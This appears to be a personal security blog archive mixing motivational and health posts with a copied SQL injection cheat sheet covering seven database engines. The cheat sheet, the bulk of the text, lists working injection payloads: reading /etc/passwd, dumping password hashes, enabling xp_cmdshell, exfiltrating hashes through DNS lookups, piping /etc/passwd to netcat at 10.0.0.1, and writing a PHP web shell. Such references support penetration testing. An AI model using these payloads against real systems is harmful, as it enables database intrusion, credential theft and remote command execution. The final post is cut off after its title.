JF's security (and other things) log

The Benefits of Pissing People Off

JF — Fri, 06 Aug 2010 13:06:04 +0000

From here:

Right alongside the cash and credit cards, I keep a number of strange things in my wallet.

The largest is a folded-up page from the July 6, 2009 issue of Fortune magazine. In a profile, Scott Boras, widely regarded as the most powerful agent in professional baseball, describes a dinner with one of his mentors after a record-breaking contract:

“He said that if you are really effective at what you do, 95% of the things said about you will be negative. Keep your head on straight, don’t get emotional, take the heat, and just make sure your clients are smiling.”

Doing anything remotely interesting will bring criticism. Attempting to do anything large-scale and interesting will bring armies of detractors and saboteurs. This is fine – if you are willing to take the heat.

There are good reasons to be willing, even eager.

Colin Powell makes the case: pissing people off is both inevitable and necessary. This doesn’t mean that the goal is pissing people off. Pissing people off doesn’t mean you’re doing the right things, but doing the right things will almost inevitably piss people off.

Understand the difference.

Being responsible sometimes means pissing people off.

Good leadership involves responsibility to the welfare of the group, which means that some people will get angry at your actions and decisions. It’s inevitable, if you’re honorable. Trying to get everyone to like you is a sign of mediocrity: you’ll avoid the tough decisions, you’ll avoid confronting the people who need to be confronted, and you’ll avoid offering differential rewards based on differential performance because some people might get upset.

Ironically, by procrastinating on the difficult choices, by trying not to get anyone mad, and by treating everyone equally “nicely” regardless of their contributions, you’ll simply ensure that the only people you’ll wind up angering are the most creative and productive people in the organization. (full presentation here)

Don’t go through life with kid gloves on. The stakes are too high, and it is oftentimes more important to give people what they need, rather than what they want.

This includes ourselves. By facing the fire early and often, we ensure the confidence and breathing room later to do bigger and better things.

Or to just sit back in a hammock with the peace of mind that only comes with belief that you did your best.

Be criticized for doing small “safe” things, or be criticized for doing big things that you’re passionate about. That is the choice. The criticism will come either way, whether in the form of self-talk (the former) or ankle biters (the latter).

Let the critics criticize. It’s the builders who count.

###

SQL Cheat sheets

JF — Wed, 07 Jul 2010 09:13:34 +0000

Thanks to PentestMonkey.net for this.

MySQL:

Version	SELECT @@version
Comments	SELECT 1; #comment SELECT /comment/1;
Current User	SELECT user(); SELECT system_user();
List Users	SELECT user FROM mysql.user; -- priv
List Password Hashes	SELECT host, user, password FROM mysql.user; -- priv
Password Cracker	John the Ripper will crack MySQL password hashes.
List Privileges	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns
List DBA Accounts	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER'; SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db -- priv
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char	SELECT substr('abcd', 3, 1); # returns c
Bitwise AND	SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii('A'); # returns 65
Casting	SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char);
String Concatenation	SELECT CONCAT('A','B'); #returns AB SELECT CONCAT('A','B','C'); # returns ABC
If Statement	SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement	SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes	SELECT 0x414243; # returns ABC
Time Delay	SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access	...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP Address	Impossible?
Create Users	CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete Users	DROP USER test1; -- priv
Make User DBA	GRANT ALL PRIVILEGES ON . TO test1@'%'; -- priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql

MSSQL:

Version	SELECT @@version
Comments	SELECT 1 -- comment SELECT /comment/1
Current User	SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users	SELECT name FROM master..syslogins
List Password Hashes	SELECT name, password FROM master..sysxlogins -- priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005; SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
Password Cracker	MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen\|drescher can crack these.
List Privileges	Impossible?
List DBA Accounts	TODO SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentation SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database	SELECT DB_NAME()
List Databases	SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
List Columns	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
List Tables	SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
Find Tables From Column Name	-- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
Select Nth Row	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char	SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND	SELECT 6 & 2 -- returns 2 SELECT 6 & 1 -- returns 0
ASCII Value -> Char	SELECT char(0x41) -- returns A
Char -> ASCII Value	SELECT ascii('A') - returns 65
Casting	SELECT CAST('1' as int); SELECT CAST(1 as char)
String Concatenation	SELECT 'A' + 'B' - returns AB
If Statement	IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes	SELECT char(65)+char(66) -- returns AB
Time Delay	WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests	declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. -- Also check out theDNS tunnel feature of sqlninja
Command Execution	EXEC xp_cmdshell 'net user'; -- priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: EXEC sp_configure 'show advanced options', 1; -- priv RECONFIGURE; -- priv EXEC sp_configure 'xp_cmdshell', 1; -- priv RECONFIGURE; -- priv
Local File Access	CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; DROP TABLE mydata;
Hostname, IP Address	SELECT HOST_NAME()
Create Users	EXEC sp_addlogin 'user', 'pass'; -- priv
Drop Users	EXEC sp_droplogin 'user'; -- priv
Make User DBA	EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv
Location of DB files	TODO
Default/System Databases	northwind model msdb pubs tempdb

PostgreSQL:

Version	SELECT version()
Comments	SELECT 1; --comment SELECT /comment/1;
Current User	SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername();
List Users	SELECT usename FROM pg_user
List Password Hashes	SELECT usename, passwd FROM pg_shadow -- priv
Password Cracker	MDCrack can crack PostgreSQL's MD5-based passwords.
List Privileges	SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database	SELECT current_database()
List Databases	SELECT datname FROM pg_database
List Columns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name	If you want to list all the table names that contain a column LIKE '%password%': SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
Select Nth Row	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char	SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND	SELECT 6 & 2; -- returns 2 SELECT 6 & 1; --returns 0
ASCII Value -> Char	SELECT chr(65);
Char -> ASCII Value	SELECT ascii('A');
Casting	SELECT CAST(1 as varchar); SELECT CAST('1' as int);
String Concatenation	SELECT 'A' \|\| 'B'; -- returnsAB
If Statement	IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead.
Case Statement	SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes	SELECT CHR(65)\|\|CHR(66); -- returns AB
Time Delay	SELECT pg_sleep(10); -- postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from here .
Make DNS Requests	Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".
Command Execution	CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv SELECT system('cat /etc/passwd \| nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ... DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>'); COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try. -- priv user can also read/write files by mapping libc functions
Hostname, IP Address	SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection) SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
Create Users	CREATE USER test1 PASSWORD 'pass1'; -- priv CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
Drop Users	DROP USER test1; -- priv
Make User DBA	ALTER USER test1 CREATEUSER CREATEDB; -- priv
Location of DB files	SELECT current_setting('data_directory'); -- priv SELECT current_setting('hba_file'); -- priv
Default/System Databases	template0 template1

Oracle:

Version	SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance;
Comments	SELECT 1 FROM dual -- comment -- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User	SELECT user FROM dual
List Users	SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; -- priv
List Password Hashes	SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ -- priv, 11g
Password Cracker	checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges	SELECT * FROM session_privs; -- current privs SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database	SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases	SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user) -- Also query TNS listener for other databases. See tnscmd (services \| status).
List Columns	SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables	SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
Find Tables From Column Name	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth Row	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char	SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND	SELECT bitand(6,2) FROM dual; -- returns 2 SELECT bitand(6,1) FROM dual; -- returns0
ASCII Value -> Char	SELECT chr(65) FROM dual; -- returns A
Char -> ASCII Value	SELECT ascii('A') FROM dual; -- returns 65
Casting	SELECT CAST(1 AS char) FROM dual; SELECT CAST('1' AS int) FROM dual;
String Concatenation	SELECT 'A' \|\| 'B' FROM dual; -- returns AB
If Statement	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes	SELECT chr(65) \|\| chr(66) FROM dual; -- returns AB
Time Delay	BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow -- Also see Heavy Queries to create a time delay
Make DNS Requests	SELECT UTL_INADDR.get_host_address('google.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution	Java can be used to execute commands if it's installed. ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access	UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir'; Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address	SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
Location of DB files	SELECT name FROM V$DATAFILE;
Default/System Databases	SYSTEM SYSAUX

Ingres:

Version	select dbmsinfo('_version');
Comments	SELECT 123; -- comment select 123; /* comment */
Current User	select dbmsinfo('session_user'); select dbmsinfo('system_user');
List Users	First connect to iidbdb, then: select name, password from iiuser;
Create Users	create user testuser with password = 'testuser';-- priv
List Password Hashes	First connect to iidbdb, then: select name, password from iiuser;
List Privileges	select dbmsinfo('db_admin'); select dbmsinfo('create_table'); select dbmsinfo('create_procedure'); select dbmsinfo('security_priv'); select dbmsinfo('select_syscat'); select dbmsinfo('db_privileges'); select dbmsinfo('current_priv_mask');
Current Database	select dbmsinfo('database');
List Columns	select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tables	select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != '$ingres';
Select Nth Row	Astoundingly, this doesn't seem to be possible! This is as close as you can get: select top 10 blah from table; select first 10 blah form table;
Select Nth Char	select substr('abc', 2, 1); -- returns 'b'
Bitwise AND	The function "bit_and" exists, but seems hard to use. Here's an example of ANDing 3 and 5 together. The result is a "byte" type with value \001: select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
Casting	select cast(123 as varchar); select cast('123' as integer);
String Concatenation	select 'abc' \|\| 'def';
Time Delay	??? See Heavy Queries article for some ideas.
Installing Locally	The Ingres database can be downloaded for free from http://esd.ingres.com/ A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832
Database Client	TODO There is a client called "sql" which can be used for local connections (at least) in the database server package above.
Logging in from command line	$ su - ingres $ sql iidbdb * select dbmsinfo('_version'); \go

The
following areas are interesting enough to include on this page, but I
haven't researched them for other databases:

Description	SQL / Comments
Batching Queries Allowed?	Not via DBI in PERL. Subsequent statements seem to get ignored: select blah from table where foo = 1; select ... doesn't matter this is ignored.
FROM clause mandated in SELECTs?	No. You don't need to select form "dual" or anything. The following is legal: select 1;
UNION supported	Yes. Nothing tricky here. The following is legal: select 1 union select 2;
Enumerate Tables Privs	select table_name, permit_user, permit_type from iiaccess;
Length of a string	select length('abc'); -- returns 3
Roles and passwords	First you need to connect to iidbdb, then: select roleid, rolepass from iirole;
List Database Procedures	First you need to connect to iidbdb, then: select dbp_name, dbp_owner from iiprocedure;
Create Users + Granting Privs	First you need to connect to iidbdb, then: create user pm with password = 'password'; grant all on current installation to pm;

DB2:

Version	select versionnumber, version_timestamp from sysibm.sysversions;
Comments	select blah from foo; -- comment like this
Current User	select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1;
List Users	N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth;
List Password Hashes	N/A (I think DB2 uses OS-level user accounts for authentication.)
List Privileges	select * from syscat.tabauth; -- privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user;
Current Database	select current server from sysibm.sysdummy1;
List Databases	SELECT schemaname FROM syscat.schemata;
List Columns	select name, tbname, coltype from sysibm.syscolumns;
List Tables	select name from sysibm.systables;
Select Nth Row	select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char	SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; -- returns b
Bitwise AND	This page seems to indicate that DB2 has no support for bitwise operators!
ASCII Value -> Char	select chr(65) from sysibm.sysdummy1; -- returns 'A'
Char -> ASCII Value	select ascii('A') from sysibm.sysdummy1; -- returns 65
Casting	SELECT cast('123' as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1;
String Concatenation	SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc' select 'a' \|\| 'b' from sysibm.sysdummy1; -- returns 'ab'

Informix:

Version	SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix
Comments	select 1 FROM systables WHERE tabid = 1; -- comment
Current User	SELECT USER FROM systables WHERE tabid = 1; select CURRENT_ROLE FROM systables WHERE tabid = 1;
List Users	select username, usertype, password from sysusers;
List Privileges	select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; -- which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- which procedures are accessible by which users
Current Database	SELECT DBSERVERNAME FROM systables where tabid = 1; -- server name
List Databases	select name, owner from sysdatabases;
List Columns	select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tables	select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid;
List Stored Procedures	select procname, owner FROM sysprocedures;
Find Tables From Column Name	select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like '%pass%';
Select Nth Row	select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; -- selects the 10th row
Select Nth Char	SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; -- returns 'C'
Bitwise AND	select bitand(6, 1) from systables where tabid = 1; -- returns 0 select bitand(6, 2) from systables where tabid = 1; -- returns 2
Char -> ASCII Value	select ascii('A') from systables where tabid = 1;
Casting	select cast('123' as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1;
String Concatenation	SELECT 'A' \|\| 'B' FROM systables where tabid = 1; -- returns 'AB' SELECT concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'
String Length	SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;
Case Statement	select tabid, case when tabid>10 then "High" else 'Low' end from systables;
Hostname, IP Address	SELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname
Default/System Databases	These are the system databases: sysmaster sysadmin* sysuser* sysutils* * = don't seem to contain anything / don't allow reading
Installing Locally	You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.
Database Client	There's a database client SDK available, but I couldn't get the demo client working. I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers ("emerge dev-java/jdbc-informix" on Gentoo).
Logging in from command line	If you get local admin rights on a Windows box and have a GUI logon: Click: Start \| All Programs \| IBM Informix Dynamic Server 11.50 \| someservername. This will give you a command prompt with various Environment variables set properly. Run dbaccess.exe from your command prompt. This will bring up a text-based GUI that allows you to browse databases. The following were set on my test system. This may help if you get command line access, but can't get a GUI - you'll need to change "testservername": set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50<br />set INFORMIXSERVER=testservername<br />set ONCONFIG=ONCONFIG.testservername<br />set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib<br />set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;<br />set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp<br />set CLIENT_LOCALE=EN_US.CP1252<br />set DB_LOCALE=EN_US.8859-1<br />set SERVER_LOCALE=EN_US.CP1252<br />set DBLANG=EN_US.CP1252<br />mode con codepage select=1252<br />
Identifying on the network	My default installation listened on two TCP ports: 9088 and 9099. When I created a new "server name", this listened on 1526/TCP by default. Nmap 4.76 didn't identify these ports as Informix: $ sudo nmap -sS -sV 10.0.0.1 -p- -v --version-all ... 1526/tcp open pdap-np? 9088/tcp open unknown 9089/tcp open unknown ... TODO How would we identify Informix listening on the network?

Presentation: 9 ways to live better, longer, happier

JF — Tue, 12 Jan 2010 13:31:33 +0000

From here:

Happy New Year, everyone. I hope 2010 is a healthy and meaningful one for you all. The new year is a time of new beginnings and promises to ourselves to be better in our personal and professional lives (It's also a time to visit the local shrine here in Japan). So the first presentation I point to this year is one that has a message that is important no matter who you are or what kind of work you're engaged in. In this TEDx talk below, National Geographic writer and explorer Dan Buettner shares what the world's longest-lived peoples have in common. Buettner condensed the findings into nine easy-to-remember lifestyle habits. The presentation is good in terms of content and delivery; Buettner is an engaging figure. Visually, the presentation would be even better if he ditched that typical PowerPoint template in favor of slides with a dark background that fit the feel of his other visuals. However, except for that I really like the way he effortlessly mixes in high quality images and video to augment his narrative. You are starting to see more and more people now mix in full-screen video clips (with the audio removed) with other images while they tell their stories or share their evidence.

Dan Buettner: How to live to be 100+

I'm not crazy about the typical PowerPoint template used in a few of the slides, but most of the time the screen was filled with full-screen images (Left) or video clips (Right) that were a good complement to the talk.

In Sum
What are the common denominators running through the different cultures they studied? If you do not have time to watch the video, I summarized them below in my own words. You can go to the Blue Zones website to get all the details.

Move Naturally
(1) You don't need a formal, rigorous exercise plan. We're talking here a change in lifestyle that is fundamentally active. We're designed to move. We've not meant to drive 100 meters in a car to pick up chips at the local store. Walk, do yard work, whatever. Do exercises/activities that you enjoy.

Have Right Outlook
(2) Slow down. When you're constantly in a hurry and stressed out, this has a negative impact on your health. Limiting negative stress is one of the healthiest things you can do for yourself.
(3) Have a clear purpose. The Japanese call it "ikigai" ???? (lit: life + value, be worth while). You must have a passion, a calling, a purpose. There's got to be a reason to get out of bed every day.

Eat Wisely
(4) Drink a little (wine) everyday.
(5) Eat mainly plant-based foods. Small amounts of meat and fish are OK.
(6) Hara Hachi Bu: Eat until 80% full. Do not eat eat until you're stuffed. (I've talked about this many time before in the context of presentation.)

Be Connected with others
(7) Put family, loved ones first.
(8) Belong to a community. Many in his study belonged to faith-based communities.
(9) Belong to the right tribe. That is, hang out with people with healthy habits, physical and emotional ones.

How to live a long, healthy life in one slide
Even nine recommendations can be hard to remember, so I simplified the advice down to five in this Keynote slide that capture the essence of the tips from Dan Buettner's good TEDx talk.

(Click on image of slide for a larger size.)

My Personal Security Guiding Principles

JF — Wed, 30 Dec 2009 21:28:48 +0000

From here:

-------------------------------

Fall of 2009 marks the 20th anniversary of the start of my professional security career. That was the first day someone stuck a yellow shirt on my back and sent me into a crowd of drunk college football fans at the University of Colorado (later famous for its student riots). I'm pretty sure someone screwed up, since it was my first day on the job and I was assigned a rover position -- which normally goes to someone who knows what the f&%$ they are doing, not some 18 year old, 135-lb kid right out of high school. And yes, I was breaking up fights on my first day (the stadium wasn't dry until a few years later).

If you asked me then, I never would have guessed I'd spend the next couple decades working through the security ranks, eventually letting my teenage geek/hacker side take over. Over that time I've come to rely on the following guiding principles in everything from designing my personal security to giving advice to clients:

Don't expect human behavior to change. Ever.
You cannot survive with defense alone.
Not all threats are equal, and all checklists are wrong.
You cannot eliminate all vulnerabilities.
You will be breached.

There's a positive side to each of these negative principles:

Design security controls that account for human behavior. Study cognitive science and practical psychology to support your decisions. This is also critical for gaining support for security initiatives, not just design of individual controls.
Engage in intelligence and counter-threat operations to the best of your ability. Once an attack has started, your first line of security has already failed.
Use checklists to remember the simple stuff, but any real security must be designed using a risk-based approach. As a corollary, you can't implement risk-based security if you don't reallyunderstand the risks; and most people don't understand the risks. Be the expert.
Adopt anti-exploitation wherever possible. Vulnerability-driven security is always behind the threat.
React faster and better. Incident response is more important than any other single security control.

With one final piece of advice -- keep it simple and pragmatic.

And after 20 years, that's all I've got...

—Rich

Flying high

JF — Tue, 29 Dec 2009 16:15:15 +0000

Very interesting post from Slate magazine:

Why are we so bad at detecting the guilty and so good at collective punishment of the innocent?

By Christopher Hitchens

Posted Monday, Dec. 28, 2009, at 12:03 PM ET

